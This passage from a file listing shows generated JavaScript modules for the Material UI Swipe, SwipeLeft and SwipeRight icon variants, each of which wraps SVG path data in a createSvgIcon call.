    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 4.02V2.75c0-.41-.34-.75-.75-.75S2 2.34 2 2.75V6c0 .55.45 1 1 1h3.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H4.09c2.11-1.86 4.88-3 7.91-3 4.42 0 7.27 2.19 8.25 4.1.12.25.38.4.66.4.56 0 .93-.59.67-1.08C20.3 3.39 16.81 1 12 1 8.78 1 5.82 2.13 3.5 4.02m1.7 13.41c0-.65.6-1.13 1.24-.99l3.56.8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69\"\n}), 'SwipeLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.18 15.4 19.1 23h-9L5 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38zM12 2.5c4.74 0 7.67 2.52 8.43 4.5H22c-.73-2.88-4.51-6-10-6-3.22 0-6.18 1.13-8.5 3.02V2H2v5h5V5.5H4.09c2.12-1.86 4.88-3 7.91-3\"\n}), 'SwipeLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.18 15.4 19.1 23h-9L5 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38zM12 2.5c4.74 0 7.67 2.52 8.43 4.5H22c-.73-2.88-4.51-6-10-6-3.22 0-6.18 1.13-8.5 3.02V2H2v5h5V5.5H4.09c2.12-1.86 4.88-3 7.91-3\"\n}), 'SwipeLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM4.09 5.5H7V7H2V2h1.5v2.02C5.82 2.13 8.78 1 12 1c5.49 0 9.27 3.12 10 6h-1.57c-.76-1.98-3.69-4.5-8.43-4.5-3.03 0-5.79 1.14-7.91 3\"\n}, \"1\")], 'SwipeLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM4.09 5.5H7V7H2V2h1.5v2.02C5.82 2.13 8.78 1 12 1c5.49 0 9.27 3.12 10 6h-1.57c-.76-1.98-3.69-4.5-8.43-4.5-3.03 0-5.79 1.14-7.91 3\"\n}, \"1\")], 'SwipeLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 2v2.02C18.18 2.13 15.22 1 12 1S5.82 2.13 3.5 4.02V2H2v5h5V5.5H4.09c2.11-1.86 4.88-3 7.91-3s5.79 1.14 7.91 3H17V7h5V2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.63c0-1.32-.96-2.5-2.27-2.62C10.25 4.88 9 6.05 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M18 15.56 17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76z\"\n}, \"1\")], 'SwipeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 2v2.02C18.18 2.13 15.22 1 12 1S5.82 2.13 3.5 4.02V2H2v5h5V5.5H4.09c2.11-1.86 4.88-3 7.91-3s5.79 1.14 7.91 3H17V7h5V2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.63c0-1.32-.96-2.5-2.27-2.62C10.25 4.88 9 6.05 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M18 15.56 17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76z\"\n}, \"1\")], 'SwipeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.98 16.82-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L5 17.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07M19.91 5.5H17V7h5V2h-1.5v2.02C18.18 2.13 15.22 1 12 1 6.51 1 2.73 4.12 2 7h1.57C4.33 5.02 7.26 2.5 12 2.5c3.03 0 5.79 1.14 7.91 3\"\n}), 'SwipeRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.98 16.82-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L5 17.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07M19.91 5.5H17V7h5V2h-1.5v2.02C18.18 2.13 15.22 1 12 1 6.51 1 2.73 4.12 2 7h1.57C4.33 5.02 7.26 2.5 12 2.5c3.03 0 5.79 1.14 7.91 3\"\n}), 'SwipeRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11z\"\n}), 'SwipeRightAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11z\"\n}), 'SwipeRightAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11zM9 9c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'SwipeRightAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11zM9 9c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'SwipeRightAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-.88.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L18.7 8.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89z\"\n}), 'SwipeRightAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-.88.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L18.7 8.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89z\"\n}), 'SwipeRightAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11z\"\n}), 'SwipeRightAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11z\"\n}), 'SwipeRightAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11zM9 9c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}, \"1\")], 'SwipeRightAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.9 11c-.46-2.28-2.48-4-4.9-4-2.76 0-5 2.24-5 5s2.24 5 5 5c2.42 0 4.44-1.72 4.9-4h4.27l-1.59 1.59L18 16l4-4-4-4-1.41 1.41L18.17 11zM9 9c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}, \"1\")], 'SwipeRightAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM12 2.5C7.26 2.5 4.33 5.02 3.57 7H2c.73-2.88 4.51-6 10-6 3.22 0 6.18 1.13 8.5 3.02V2H22v5h-5V5.5h2.91c-2.12-1.86-4.88-3-7.91-3\"\n}), 'SwipeRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM12 2.5C7.26 2.5 4.33 5.02 3.57 7H2c.73-2.88 4.51-6 10-6 3.22 0 6.18 1.13 8.5 3.02V2H22v5h-5V5.5h2.91c-2.12-1.86-4.88-3-7.91-3\"\n}), 'SwipeRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C7.19 1 3.7 3.39 2.41 5.92c-.25.49.12 1.08.68 1.08.28 0 .54-.15.66-.4.98-1.91 3.83-4.1 8.25-4.1 3.03 0 5.79 1.14 7.91 3h-2.16c-.41 0-.75.34-.75.75s.34.75.75.75H21c.55 0 1-.45 1-1V2.75c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.27C18.18 2.13 15.22 1 12 1M5.2 17.43c0-.65.6-1.13 1.24-.99l3.56.8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69\"\n}), 'SwipeRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C7.19 1 3.7 3.39 2.41 5.92c-.25.49.12 1.08.68 1.08.28 0 .54-.15.66-.4.98-1.91 3.83-4.1 8.25-4.1 3.03 0 5.79 1.14 7.91 3h-2.16c-.41 0-.75.34-.75.75s.34.75.75.75H21c.55 0 1-.45 1-1V2.75c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.27C18.18 2.13 15.22 1 12 1M5.2 17.43c0-.65.6-1.13 1.24-.99l3.56.8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69\"\n}), 'SwipeRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.18 15.4 19.1 23h-9L5 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38zm-.27-9.9H17V7h5V2h-1.5v2.02C18.18 2.13 15.22 1 12 1 6.51 1 2.73 4.12 2 7h1.57C4.33 5.02 7.26 2.5 12 2.5c3.03 0 5.79 1.14 7.91 3\"\n}), 'SwipeRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.18 15.4 19.1 23h-9L5 17.62l1.22-1.23 3.78.85V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h1.38zm-.27-9.9H17V7h5V2h-1.5v2.02C18.18 2.13 15.22 1 12 1 6.51 1 2.73 4.12 2 7h1.57C4.33 5.02 7.26 2.5 12 2.5c3.03 0 5.79 1.14 7.91 3\"\n}), 'SwipeRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM12 2.5C7.26 2.5 4.33 5.02 3.57 7H2c.73-2.88 4.51-6 10-6 3.22 0 6.18 1.13 8.5 3.02V2H22v5h-5V5.5h2.91c-2.12-1.86-4.88-3-7.91-3\"\n}, \"1\")], 'SwipeRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM12 2.5C7.26 2.5 4.33 5.02 3.57 7H2c.73-2.88 4.51-6 10-6 3.22 0 6.18 1.13 8.5 3.02V2H22v5h-5V5.5h2.91c-2.12-1.86-4.88-3-7.91-3\"\n}, \"1\")], 'SwipeRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.15 2.85-1.02 1.02C18.69 2.17 15.6 1 12 1S5.31 2.17 3.87 3.87L2.85 2.85c-.31-.31-.85-.09-.85.36V6.5c0 .28.22.5.5.5h3.29c.45 0 .67-.54.35-.85L4.93 4.93c1-1.29 3.7-2.43 7.07-2.43s6.07 1.14 7.07 2.43l-1.22 1.22c-.31.31-.09.85.36.85h3.29c.28 0 .5-.22.5-.5V3.21c0-.45-.54-.67-.85-.36\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.71c-.28-.14-.58-.21-.89-.21H13v-6c0-.83-.67-1.5-1.5-1.5S10 5.67 10 6.5v10.74l-3.44-.72c-.37-.08-.76.04-1.03.31-.43.44-.43 1.14.01 1.58l4.01 4.01c.37.37.88.58 1.41.58h6.41c1 0 1.84-.73 1.98-1.72l.63-4.46c.12-.85-.32-1.69-1.09-2.07z\"\n}, \"1\")], 'SwipeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeRounded.mjs",
